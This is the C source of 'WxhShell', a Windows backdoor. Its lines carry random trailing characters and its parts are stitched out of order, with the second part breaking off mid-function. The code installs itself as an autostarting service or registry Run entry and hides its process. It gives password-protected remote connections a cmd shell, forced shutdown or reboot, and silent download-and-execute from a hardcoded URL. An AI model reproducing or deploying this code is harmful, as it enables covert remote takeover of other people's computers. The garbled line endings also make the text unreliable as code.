    break; w(nQ:;oC  
    } L_}F.nbS5  
  // 关机 7)y +QU]  
  case 'd': { .0]Odf:@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1)ZdkTF@H  
    if(Boot(SHUTDOWN)) jLreN#:9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PA>su)N$  
    else { 1'9YY")#  
    closesocket(wsh); mf)E%qo  
    ExitThread(0); ?a` $Y>?h  
    } Iqb|.vLG  
    break; iPt{v5}]  
    } t`vIcCXqyl  
  // 获取shell \m1jV>q  
  case 's': { ??=7pFm  
    CmdShell(wsh); oOHr~<  
    closesocket(wsh); IsP!ZcV;  
    ExitThread(0); Vc| uQ8Mi  
    break; |&H(skF_  
  } z|i2M8  
  // 退出 XB\n4 |4  
  case 'x': { .l~g`._  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *]* D^'  
    CloseIt(wsh); +AL(K:  
    break; +U,>D +  
    } 2f.4P]s`T  
  // 离开 o'p[G]NQ1o  
  case 'q': { &!O~ f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^0T[V-PgiD  
    closesocket(wsh); \UBQ:+3  
    WSACleanup(); '@eH)wh@m)  
    exit(1); Y(P <9 m:  
    break; T'e p&tNY  
        } KVCj06}j  
  } gD/% l[  
  } GYN Lyd)  
?$AWY\  
  // 提示信息 ~[4zm$R^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  g=x1}nm  
} [;hCwj#  
  } SDICN0X*  
hS +R /7  
  return; {Aq:Kh`&  
} dE|luN~  
,5thD  
// shell模块句柄 -XARew  
int CmdShell(SOCKET sock) + +G %~)S:  
{ /a:L"7z  
STARTUPINFO si; (Y$48@x  
ZeroMemory(&si,sizeof(si)); Shb"Jc_i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qn|~z@"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nV&v@g4Tt  
PROCESS_INFORMATION ProcessInfo; 9U~sRj=D  
char cmdline[]="cmd"; $|r p5D6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !x1ivP  
  return 0; s+XDtO  
} hZNA I  
APT /z0X>  
// 自身启动模式 2x dN0S  
int StartFromService(void) f/RDo4  
{ 'K|tgsvgme  
typedef struct iZDZ/hohv  
{ V-TWC@Y"  
  DWORD ExitStatus; c9)5G+   
  DWORD PebBaseAddress; lM-*{<B  
  DWORD AffinityMask; 2@#`x"0  
  DWORD BasePriority; _=RK  
  ULONG UniqueProcessId; .>{I S4  
  ULONG InheritedFromUniqueProcessId; Bwg\_:vq  
}   PROCESS_BASIC_INFORMATION; Gmp`3  
S K7b]J>  
PROCNTQSIP NtQueryInformationProcess; w00Ba^W  
*q |3QHZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k?'<f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; caC( KK#<  
O\KSPy7YQ  
  HANDLE             hProcess; ~7Jj\@68  
  PROCESS_BASIC_INFORMATION pbi; #Ez+1  
cWNWgdk,`V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qv>rww]  
  if(NULL == hInst ) return 0; IYk^eG:;  
K5SP8<.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?^H1X-;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jdp@3mP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o:"^@3  
k=):>}  
  if (!NtQueryInformationProcess) return 0; ?sm@lDZ\  
S2*ER  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p7kH"j{xD  
  if(!hProcess) return 0; yCOIv!/zy  
s;4r)9Uvx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VPqMbr"L[  
zS+_6s  
  CloseHandle(hProcess); !wZ  9P  
W:z!fh-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #8[iqvE  
if(hProcess==NULL) return 0; J,=: ] t  
bD;c>5t  
HMODULE hMod; 8Q Nd t  
char procName[255]; 9 ?~Y  
unsigned long cbNeeded; iu(+ N~  
#J<IHNRt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {-?8r>  
&\/b(|>  
  CloseHandle(hProcess); 8x9$6HO  
{IpIQ-@l  
if(strstr(procName,"services")) return 1; // 以服务启动 s.7s:Q`  
lYMNx|PF  
  return 0; // 注册表启动 }./_fFN@  
} ?Ok@1  
2?bE2^6  
// 主模块 d$(>=gzBQ  
int StartWxhshell(LPSTR lpCmdLine)  {!9i8T  
{ wu2C!gyBo  
  SOCKET wsl; `Ufv,_n  
BOOL val=TRUE; Vdz(\-}ao  
  int port=0; GxR, 3  
  struct sockaddr_in door; qTl/bFD  
U\\nSU  
  if(wscfg.ws_autoins) Install(); ,@'M'S  
xFY< ns  
port=atoi(lpCmdLine); ~1yMw.04V  
tuiQk=[ c  
if(port<=0) port=wscfg.ws_port; !(wH}ti  
11Hf)]M   
  WSADATA data; tSvklI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U.B=%S  
t|Ipxk.)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p!~{<s]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "=BO,see9  
  door.sin_family = AF_INET; Y4B< ]C4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J|BZ{T}d  
  door.sin_port = htons(port); VF<C#I  
6(X5n5C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 66+y@l1  
closesocket(wsl); t9Nu4yl  
return 1; * (4TasQu  
} 4JD 8w3u/  
GqrOj++>  
  if(listen(wsl,2) == INVALID_SOCKET) { A|esVUo<3^  
closesocket(wsl); 9IRvbE~2  
return 1; _\tGmME37  
} GK/Q]}Q8pZ  
  Wxhshell(wsl); 9C{\=?e;  
  WSACleanup(); 3koXM_4_{)  
3oCw(Ff  
return 0; <XHS@|  
"n3i (sZ  
} ;5.o;|w?!  
6!3Jr  
// 以NT服务方式启动 aumXidb S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o,sw[  
{ T"GuE[?a  
DWORD   status = 0; /@H2m\vBX  
  DWORD   specificError = 0xfffffff; joN}N}U  
$.z~bmH"D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +HK)A%QI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yeCR{{B/'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <9s=K\-  
  serviceStatus.dwWin32ExitCode     = 0; f 2#9E+IQ  
  serviceStatus.dwServiceSpecificExitCode = 0; R "&(Ae?LR  
  serviceStatus.dwCheckPoint       = 0; ($oO, c'z  
  serviceStatus.dwWaitHint       = 0; 4P>tGO&*x  
Uq,M\V \  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N&0MA  
  if (hServiceStatusHandle==0) return; <}E^r_NvD  
IFX|"3[$  
status = GetLastError(); ] _/d  
  if (status!=NO_ERROR) YW}1iT/H  
{ Iy}r'#N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $DfaW3bJ  
    serviceStatus.dwCheckPoint       = 0; 1x07ua@(v  
    serviceStatus.dwWaitHint       = 0; .=>T yq  
    serviceStatus.dwWin32ExitCode     = status; P'Fy,fNg  
    serviceStatus.dwServiceSpecificExitCode = specificError; hao0_9q+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x Qh?  
    return; sX&M+'h  
  } S%ri/}qI[{  
h]94\XQ>$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rI:KZ}GZ  
  serviceStatus.dwCheckPoint       = 0; k"P2J}4eO  
  serviceStatus.dwWaitHint       = 0; O8+[ )+6^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4JHQ^i-aY  
} Or9@X=C  
i;0`d0^  
// 处理NT服务事件,比如:启动、停止 ,<lxq<1I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OU(z};Is6Z  
{ ?CS jn  
switch(fdwControl) kC R)k=*  
{ FGOa! G  
case SERVICE_CONTROL_STOP: RZfC ?  
  serviceStatus.dwWin32ExitCode = 0; _^RN C)ol  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~^.&nph  
  serviceStatus.dwCheckPoint   = 0; 6,xoxNoPP3  
  serviceStatus.dwWaitHint     = 0; g)'tr '  
  { K.2M=Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %f;(  
  } f*~ 4Kv  
  return; LoG@(g&)  
case SERVICE_CONTROL_PAUSE: Yi[dS`,d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t.pg;#  
  break; Uc0AsUu}?  
case SERVICE_CONTROL_CONTINUE: Yf:utCvv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kfj*uzKB  
  break; <LW|m7  
case SERVICE_CONTROL_INTERROGATE: $ Yz &x%Lb  
  break; HHZ!mYr  
}; kXC.rgal  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xh]\q)  
} b,a\`%m}  
^+[o +  
// 标准应用程序主函数 2vnzB8 "k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Qh8I+Q%  
{ dITnPb)i  
G 7)D+],{Y  
// 获取操作系统版本 v%< _Mh  
OsIsNt=GetOsVer(); (W/jkm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #|XEBOmsQ  
0iX qAa  
  // 从命令行安装 ke>\.|HT}  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1TQ $(bI  
Kc udWW]  
  // 下载执行文件 8{+~3@T  
if(wscfg.ws_downexe) { z s"AYxr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pOI+  
  WinExec(wscfg.ws_filenam,SW_HIDE); `Ik}Xw  
} 73~Mq7~8  
}WGi9\9T&  
if(!OsIsNt) { UKK}$B  
// 如果时win9x,隐藏进程并且设置为注册表启动 M{kPEl&Z  
HideProc(); 6sy%KO*A  
StartWxhshell(lpCmdLine); F'CUkVC0~P  
} >2syF{`j  
else GIVs)~/Eq  
  if(StartFromService()) 8 (^2  
  // 以服务方式启动 >KY\Bx  
  StartServiceCtrlDispatcher(DispatchTable); >q &ouVE  
else TjI NxP-O  
  // 普通方式启动 e+R.0E  
  StartWxhshell(lpCmdLine); xdo{4XY^*W  
^y6Pkb P  
return 0; MF\n@lX  
} jX&&@zMq  
\wRr6-!_  
\>=YxB q  
GvzPT2E!  
=========================================== 8)POEY4  
['km'5uZ^  
}2c}y7B,_  
b$R>GQ?#  
, D1[}Lr=K  
JNp`@`0V  
" 4}LF>_+=  
@B9|{[P  
#include <stdio.h> x>8f#B\Mr  
#include <string.h> T (2,iG8  
#include <windows.h> y]jh*KD[  
#include <winsock2.h> Mz++SPG7  
#include <winsvc.h> ^Js9E  
#include <urlmon.h> 3Xh&l[.  
_TPo=}Z  
#pragma comment (lib, "Ws2_32.lib") jATU b-  
#pragma comment (lib, "urlmon.lib") H4:TYh  
6$6NVq  
#define MAX_USER   100 // 最大客户端连接数 o mjLQp[%  
#define BUF_SOCK   200 // sock buffer rFy9K4D  
#define KEY_BUFF   255 // 输入 buffer Na~_=3+a  
wO!hVm,T a  
#define REBOOT     0   // 重启 Y!7P>?)`,X  
#define SHUTDOWN   1   // 关机 k(qQvn  
g?$9~/h :;  
#define DEF_PORT   5000 // 监听端口 }"&(sYQ*`  
Ro1' L1:  
#define REG_LEN     16   // 注册表键长度  ^,KR0  
#define SVC_LEN     80   // NT服务名长度 Fo G<$9  
5nj~RUK  
// 从dll定义API F{"%ey">  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BkZ%0rw%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xRY5[=97  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t!u*6 W|@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'j3'n0o  
P~qVr#eU  
// wxhshell配置信息 &"kx (B  
struct WSCFG { 0 j.Sb2  
  int ws_port;         // 监听端口 {PVu3 W  
  char ws_passstr[REG_LEN]; // 口令 ,){0y%c#y  
  int ws_autoins;       // 安装标记, 1=yes 0=no $Tur"_`I;  
  char ws_regname[REG_LEN]; // 注册表键名 .E}});l  
  char ws_svcname[REG_LEN]; // 服务名 aXJe"IT.u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y@4vQm+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rka:.#!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UA8!?r-cR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h@DJ/&;u@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V0AX1?H~w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >ATW/9r  
kxmS   
}; |K_B{v.   
$($SQZK&  
// default Wxhshell configuration 6'%]6"&M4  
struct WSCFG wscfg={DEF_PORT, e"CLhaT  
    "xuhuanlingzhe", +-nQ, fOV  
    1, ,pASjFWi  
    "Wxhshell", Ax^'unfQ:  
    "Wxhshell", Ji!-G4.n"  
            "WxhShell Service", 1%@~J\qF  
    "Wrsky Windows CmdShell Service", tQ~B!j]  
    "Please Input Your Password: ", ~ 9;GD4  
  1, _-&.=3\1  
  "http://www.wrsky.com/wxhshell.exe", IID(mmy6 L  
  "Wxhshell.exe" 'AAY!{>  
    }; f5a](&  
Xp~]kRm9  
// 消息定义模块 ;gMh]$|"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "P{&UwMmh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xdq, =;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *YtNt5u  
char *msg_ws_ext="\n\rExit.";  B~NC  
char *msg_ws_end="\n\rQuit."; ~/U0S.C  
char *msg_ws_boot="\n\rReboot..."; dc>y7$2  
char *msg_ws_poff="\n\rShutdown..."; ~tLR  
char *msg_ws_down="\n\rSave to "; _'7/99]4g}  
*02( J  
char *msg_ws_err="\n\rErr!"; W*<]`U_.  
char *msg_ws_ok="\n\rOK!"; <C$<(Dw5  
jyGVbno`  
char ExeFile[MAX_PATH]; E%^28}dN  
int nUser = 0; yx2.7h3  
HANDLE handles[MAX_USER]; }SV3PdE  
int OsIsNt; 6\3k0z  
[KH?5 C  
SERVICE_STATUS       serviceStatus; DOerSh_0W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S0+zq<  
upDQNG>d  
// 函数声明 u,m-6@ il  
int Install(void); 1955(:I  
int Uninstall(void); JLu0;XVK  
int DownloadFile(char *sURL, SOCKET wsh); Ln_l>X6j51  
int Boot(int flag); ^PQV3\N  
void HideProc(void); _")h %)f  
int GetOsVer(void); |&Pl4P  
int Wxhshell(SOCKET wsl); m=MT`-:  
void TalkWithClient(void *cs); BB.TrQM.#  
int CmdShell(SOCKET sock); a+/|O*>#  
int StartFromService(void); X6.O ;  
int StartWxhshell(LPSTR lpCmdLine); :xPvEK[B7  
w4'K2 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qYiAwK$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r(i)9RI+(  
4c=kT@=jX  
// 数据结构和表定义 (@ E#O$'  
SERVICE_TABLE_ENTRY DispatchTable[] = {{3H\ rR  
{ S7a6ntei  
{wscfg.ws_svcname, NTServiceMain}, C):d9OI?  
{NULL, NULL} y^=oYL  
}; @WHd(ka!  
5S]P#8  
// 自我安装 `5-#M/J  
int Install(void) FA9e(Ha   
{ aELT"b,x  
  char svExeFile[MAX_PATH]; h!K2F~i{P  
  HKEY key; ['emP1g~  
  strcpy(svExeFile,ExeFile); %h"< IA S.  
({KAh?  
// 如果是win9x系统,修改注册表设为自启动 dCP Tpm  
if(!OsIsNt) { qm=F6*@}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0xUj#)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @izi2ND  
  RegCloseKey(key); Q) BoWd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j dhml%pAd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  -C  ON  
  RegCloseKey(key); )6E*Qz  
  return 0; KN:dm!A  
    } :EwA$`/  
  } %_MR.J+m2  
} oRThJB  
else { [7 `Dgnmq  
}pnFJ  
// 如果是NT以上系统,安装为系统服务 xqWrW)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,?<h] !aQ  
if (schSCManager!=0) M3@fc,Ch  
{ Kw0V4UF  
  SC_HANDLE schService = CreateService 0~b6wuFl  
  ( ev%t5NZ  
  schSCManager, MD4 j~q\ g  
  wscfg.ws_svcname, 1IQOl  
  wscfg.ws_svcdisp, +Z&&H'xD  
  SERVICE_ALL_ACCESS, z %3"d0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , = )l:^+q  
  SERVICE_AUTO_START, "!Oh#Vf  
  SERVICE_ERROR_NORMAL, oHXW])[  
  svExeFile, UUf1T@-  
  NULL, aE+$&_>ef  
  NULL, .cS,T<$  
  NULL, 0aTbzOn&  
  NULL, Cn;H@!8<s  
  NULL SE9u2Jk  
  ); @GZa:(  
  if (schService!=0) ~oA9+mT5  
  { }t D!xI;  
  CloseServiceHandle(schService); 8N* -2/P&  
  CloseServiceHandle(schSCManager); 5rA!VES T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wu!_BCIy  
  strcat(svExeFile,wscfg.ws_svcname); OO\biYh o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p:<gFZb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JJ9e{~0 I  
  RegCloseKey(key); "8iiRzt#  
  return 0; O"qa&3t%  
    } VgsCwJ9w  
  } 2<o[@w  
  CloseServiceHandle(schSCManager); [G[{l$Eit  
} O|OSE  
} a^\- }4yR  
8wpwJs&V  
return 1; @~#79B"9&  
} AzO3(1:  
Ky9No"o  
// 自我卸载 XBWSO@M'  
int Uninstall(void) O4d^ig-xaH  
{ xDA,?i;T 0  
  HKEY key; f+TBs_  
JeTrMa2  
if(!OsIsNt) { Hrg=sR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -~O;tJF2  
  RegDeleteValue(key,wscfg.ws_regname); 9g&)6,<  
  RegCloseKey(key); tct 5*.|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =PKt09b^  
  RegDeleteValue(key,wscfg.ws_regname); <x0uO  
  RegCloseKey(key); @7l=+`.i  
  return 0; kYA'PW/[ )  
  } 2mG&@E  
} hXQg=Sj  
} ?^48Zq6wM  
else { N7$DRG/<b  
C*y6~AYN#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r< ?o}Qq  
if (schSCManager!=0) O{ %A&Ui  
{ F {*9[jY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1|~#028  
  if (schService!=0) 5lHN8k=mm2  
  { H&yFSz}6a  
  if(DeleteService(schService)!=0) { ~b$z\|Y  
  CloseServiceHandle(schService); xL39>PB  
  CloseServiceHandle(schSCManager); A.$VM#  
  return 0; RZ)vU'@kx  
  } 1f@U :<:  
  CloseServiceHandle(schService); uWR,6\_jY  
  } HDSA]{:sl  
  CloseServiceHandle(schSCManager); bV )PT`-,  
} J!A/r<  
} 34m']n  
Q9eYF-+  
return 1; f}lT|.)?VD  
} DA4edFAuE  
jWv3O&+?X  
// 从指定url下载文件 {GX &)c4  
int DownloadFile(char *sURL, SOCKET wsh) !|Xl 8lV`  
{ :L [YmZ  
  HRESULT hr; )kL` &+#>  
char seps[]= "/"; Jp.3KA>  
char *token; >xU72l#5  
char *file; lN)Y  
char myURL[MAX_PATH]; k;K> ,$ F  
char myFILE[MAX_PATH]; xu"94y+  
0XR;5kd%  
strcpy(myURL,sURL); liCCc;&B;  
  token=strtok(myURL,seps); RQ*|+ ~H  
  while(token!=NULL) 0+n&BkS'  
  { 7SA-OFM  
    file=token; TRySl5jx@  
  token=strtok(NULL,seps); :_fjml/  
  } p;n3`aVh  
XC7Ty'#"KX  
GetCurrentDirectory(MAX_PATH,myFILE); n $O.>  
strcat(myFILE, "\\"); +9 16ZPk  
strcat(myFILE, file); qUEd E`B  
  send(wsh,myFILE,strlen(myFILE),0); iJdrY 6qd  
send(wsh,"...",3,0); EG(`E9DZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^:cb $9F  
  if(hr==S_OK) wv7p,9Z[  
return 0; OXIu>jF  
else yd0=h7s  
return 1; _>jrlIfc  
;9p#xW6  
} =q"w2b&  
[$1: &!(!  
// 系统电源模块 {m_A1D/_  
int Boot(int flag) [U%ym{be ^  
{ je- , S>U  
  HANDLE hToken; @Hspg^  
  TOKEN_PRIVILEGES tkp; F= _uNq  
Cz=A{< ^g  
  if(OsIsNt) { |c 06ix;).  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {FV,j.D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vB{; N  
    tkp.PrivilegeCount = 1; .-('C> @  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k7yv>iN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }sTH.%  
if(flag==REBOOT) { ( E"&UC[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u@=+#q~/P  
  return 0; Q*09 E  
} ;1*m} uNz  
else { =9;[C:p0-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XI@6a9Uk  
  return 0; ]= ?X*,'  
} P S_3Oq)  
  } gtaV6sD  
  else { Qm35{^p+  
if(flag==REBOOT) { G| QUujl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #L@} .Giz  
  return 0; pW*{Mx  
} vi[#? ;pkF  
else { 1R'u v4e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gZ`32fB%  
  return 0; Gsds!z$  
} q:`77  
} pgz:F#>  
klK-,J  
return 1; #;\L,a|>*  
} p|&ZJ@3  
vHs>ba$"  
// win9x进程隐藏模块 0%;N9\  
void HideProc(void) Cbgj@4H  
{ a' IX yj  
71k!k&Im  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )CC?vV  
  if ( hKernel != NULL ) 5`4}A%@&  
  { !p]T6_t]Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %|:;Ti  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;=5@h!@R  
    FreeLibrary(hKernel); Qa,NGP.  
  } itqQ)\W  
90  
return; 1KeJd&e  
} 763E 6,7  
NqiB8hZ~  
// 获取操作系统版本 JwN}Jm  
int GetOsVer(void) #d }0}7ue  
{ nuf@}W>y  
  OSVERSIONINFO winfo; Q  `e~MD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >:w?qEaE  
  GetVersionEx(&winfo); jgk{'_ j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `FZ(#GDF  
  return 1; K)<Wm,tON  
  else b\SXZN)Be  
  return 0; Gkdm7SV  
} Zvd ;KGO(a  
Y5n z?a  
// 客户端句柄模块 VKq0 <+M  
int Wxhshell(SOCKET wsl) $Nj'OJSj%  
{ 8q_1(& O  
  SOCKET wsh; r5f^WZ$-  
  struct sockaddr_in client; +IwdMJ8&8  
  DWORD myID; qg^(w fI  
@rPI$ia1~  
  while(nUser<MAX_USER) I#i?**  
{ e%PC e9  
  int nSize=sizeof(client); mDb-=[W5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jz~+J*r;]A  
  if(wsh==INVALID_SOCKET) return 1; kmZ.U>#  
+\+Uz!YS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); th5,HO~  
if(handles[nUser]==0) *e(:["v  
  closesocket(wsh); T&o,I  
else m(2G*}  
  nUser++; j`>?"1e@x  
  } f Ub1/-}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,]0S4h67  
17e=GL  
  return 0; Na\3.:]z  
} Oamv9RyDvC  
4 hL`=[AB  
// 关闭 socket hNH.G(l0  
void CloseIt(SOCKET wsh) *,E;  
{ kxwNbxC  
closesocket(wsh); eeZIa`.sX  
nUser--; 3CA|5A.Pa  
ExitThread(0); RxlszyE  
} Zw2jezP@t  
fp9rO}##  
// 客户端请求句柄 W\HLal  
void TalkWithClient(void *cs) ;l$9gD>R  
{ uK$=3[;U/!  
dVvZu% DFp  
  SOCKET wsh=(SOCKET)cs; 9OPK4-  
  char pwd[SVC_LEN]; v2IEJ  
  char cmd[KEY_BUFF]; 5iP8D<;o5  
char chr[1]; bBA$}bv  
int i,j; J2rvJ2l=t  
j%#?m2J}  
  while (nUser < MAX_USER) { P;j&kuW|zL  
:lgHL3yl  
if(wscfg.ws_passstr) { EC<5M5Lc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $kD7y5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EY So=  
  //ZeroMemory(pwd,KEY_BUFF); 7 rH'1U  
      i=0; [:Be[pLC  
  while(i<SVC_LEN) { IbF 4k .J  
U$A/bEhw  
  // 设置超时 x:p}w[WM  
  fd_set FdRead; DP|TIt,Rl  
  struct timeval TimeOut; "]v uD  
  FD_ZERO(&FdRead); I%SuT7"Do  
  FD_SET(wsh,&FdRead); I4rV5;f H4  
  TimeOut.tv_sec=8; ojX%RU  
  TimeOut.tv_usec=0; NPS .6qY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yb69Q#V2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k69kv9v@J  
~D*b3K 8X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <'W=]IAV  
  pwd=chr[0]; v}Z9+ yRC2  
  if(chr[0]==0xd || chr[0]==0xa) { [w,(EE   
  pwd=0; +yGY 785b  
  break; p=2zS.  
  } =D{B}=D\IM  
  i++; }I\-HP8!gv  
    } :=y0'f V(@  
Dzo{PstM%  
  // 如果是非法用户,关闭 socket e"*BHvy F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R_7 6W&  
} S)+CTVVE  
tL1P<1j_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~ W@X-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )^&,Dj   
J`W-]3S#  
while(1) { A1Ka(3"  
"t=UX -3  
  ZeroMemory(cmd,KEY_BUFF); &D]&UQf  
FtN}]@F  
      // 自动支持客户端 telnet标准   5!t b$p#z  
  j=0; 10?qjjb&  
  while(j<KEY_BUFF) { !z?0 :Jg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .x EJaID\N  
  cmd[j]=chr[0]; AfN&n= d K  
  if(chr[0]==0xa || chr[0]==0xd) { ,6DD=w0r  
  cmd[j]=0; }~rcrm.   
  break; /oFc 03d  
  } *_ PPrx5  
  j++; m#*h{U$  
    } ("OAPr\2dw  
vm|!{5l:=y  
  // 下载文件 W,DZ ;). %  
  if(strstr(cmd,"http://")) { eI0F!Yon  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MO-!TZ+6  
  if(DownloadFile(cmd,wsh)) _AprkI_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mGO>""<:  
  else wDMjk2 YN  
